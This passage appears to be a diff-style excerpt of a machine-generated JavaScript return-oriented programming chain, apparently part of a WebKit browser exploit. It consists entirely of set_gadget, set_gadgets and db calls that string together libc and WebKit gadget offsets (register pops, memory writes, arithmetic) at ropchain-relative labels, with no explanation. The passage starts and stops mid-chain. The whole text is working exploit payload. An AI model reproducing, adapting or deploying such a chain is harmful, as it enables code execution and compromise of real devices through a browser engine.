+//L1059: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1060: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+107064, //L1064 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+107032, //L1062 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+107048, //L1063 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1062: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1063: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1064: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+107136, //L1065 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1065: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+107192, //L1067 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1067: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+107304, //L1071 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L1069: +db([20, 0]); // 0x14 +set_gadget(libc_base+772328,); //pop rcx +//L1070: +db([8, 0]); // 0x8 +set_gadget(webkit_base+3789839,); //pop r11 +//L1071: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+1537212, //imul rax, rcx +libc_base+713278, //pop rsi +ropchain+107384, //L1072 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+107400, //L1073 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1072: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1073: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+764700, //add rax, rcx +libc_base+713278, //pop rsi +ropchain+107488, //L1074 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1074: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+107544, //L1076 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1076: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+107616, //L1078 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1078: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+107672, //L1080 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1080: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+2989859, //mov [rax], rcx +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +//L1082: +libc_base+713278, //pop rsi +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+107824, //L1084 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L1083: +db([16, 0]); // 0x10 +set_gadget(libc_base+772328,); //pop rcx +//L1084: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+107928, //L1087 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+107912, //L1086 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1086: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1087: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+108072, //L1091 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+108040, //L1089 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+108056, //L1090 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1089: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1090: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1091: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+108144, //L1092 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1092: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+108200, //L1094 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1094: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+108312, //L1098 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L1096: +db([21, 0]); // 0x15 +set_gadget(libc_base+772328,); //pop rcx +//L1097: +db([8, 0]); // 0x8 +set_gadget(webkit_base+3789839,); //pop r11 +//L1098: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+1537212, //imul rax, rcx +libc_base+713278, //pop rsi +ropchain+108392, //L1099 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+108408, //L1100 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1099: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1100: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+764700, //add rax, rcx +libc_base+713278, //pop rsi +ropchain+108496, //L1101 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1101: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+108552, //L1103 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1103: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+108624, //L1105 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1105: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+108680, //L1107 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1107: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+2989859, //mov [rax], rcx +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+108784, //L1110 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L1109: +db([4294967288, 4294967295]); // -0x8 +set_gadget(libc_base+772328,); //pop rcx +//L1110: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+108888, //L1113 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+108872, //L1112 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1112: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1113: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+109032, //L1117 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+109000, //L1115 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+109016, //L1116 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1115: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1116: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1117: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+109104, //L1118 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1118: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+109160, //L1120 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1120: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+109272, //L1124 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L1122: +db([3, 0]); // 0x3 +set_gadget(libc_base+772328,); //pop rcx +//L1123: +db([8, 0]); // 0x8 +set_gadget(webkit_base+3789839,); //pop r11 +//L1124: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+1537212, //imul rax, rcx +libc_base+713278, //pop rsi +ropchain+109352, //L1125 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+109368, //L1126 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1125: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1126: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+844101, //sub rax, rcx ; sbb rdx, rcx +libc_base+713278, //pop rsi +ropchain+109456, //L1127 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1127: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+109512, //L1129 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1129: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+109632, //L1132 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L1131: +db([16, 0]); // 0x10 +set_gadget(libc_base+772328,); //pop rcx +//L1132: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+109736, //L1135 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+109720, //L1134 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1134: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1135: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+109880, //L1139 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+109848, //L1137 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+109864, //L1138 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1137: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1138: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1139: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+109952, //L1140 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1140: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+110008, //L1142 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1142: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+110120, //L1146 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L1144: +db([22, 0]); // 0x16 +set_gadget(libc_base+772328,); //pop rcx +//L1145: +db([8, 0]); // 0x8 +set_gadget(webkit_base+3789839,); //pop r11 +//L1146: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+1537212, //imul rax, rcx +libc_base+713278, //pop rsi +ropchain+110200, //L1147 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+110216, //L1148 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1147: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1148: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+764700, //add rax, rcx +libc_base+713278, //pop rsi +ropchain+110304, //L1149 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1149: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+110360, //L1151 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1151: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+110432, //L1153 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1153: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+110488, //L1155 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1155: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+2989859, //mov [rax], rcx +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +//L1157: +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+110640, //L1159 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L1158: +db([16, 0]); // 0x10 +set_gadget(libc_base+772328,); //pop rcx +//L1159: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+110744, //L1162 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+110728, //L1161 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1161: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1162: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+110888, //L1166 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+110856, //L1164 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+110872, //L1165 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1164: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1165: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1166: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+110960, //L1167 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1167: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+111016, //L1169 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1169: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+111128, //L1173 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L1171: +db([23, 0]); // 0x17 +set_gadget(libc_base+772328,); //pop rcx +//L1172: +db([8, 0]); // 0x8 +set_gadget(webkit_base+3789839,); //pop r11 +//L1173: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+1537212, //imul rax, rcx +libc_base+713278, //pop rsi +ropchain+111208, //L1174 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+111224, //L1175 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1174: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1175: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+764700, //add rax, rcx +libc_base+713278, //pop rsi +ropchain+111312, //L1176 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1176: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+111368, //L1178 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1178: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+111440, //L1180 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1180: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+111496, //L1182 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1182: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+2989859, //mov [rax], rcx +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +//L1184: +libc_base+165442, //pop rdi +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+111648, //L1186 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L1185: +db([16, 0]); // 0x10 +set_gadget(libc_base+772328,); //pop rcx +//L1186: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+111752, //L1189 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+111736, //L1188 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1188: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1189: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+111896, //L1193 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+111864, //L1191 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+111880, //L1192 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1191: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1192: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1193: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+111968, //L1194 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1194: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+112024, //L1196 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1196: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+112136, //L1200 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L1198: +db([24, 0]); // 0x18 +set_gadget(libc_base+772328,); //pop rcx +//L1199: +db([8, 0]); // 0x8 +set_gadget(webkit_base+3789839,); //pop r11 +//L1200: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+1537212, //imul rax, rcx +libc_base+713278, //pop rsi +ropchain+112216, //L1201 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+112232, //L1202 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1201: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1202: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+764700, //add rax, rcx +libc_base+713278, //pop rsi +ropchain+112320, //L1203 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1203: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+112376, //L1205 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1205: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+112448, //L1207 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1207: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+112504, //L1209 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1209: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+2989859, //mov [rax], rcx +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+112608, //L1212 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 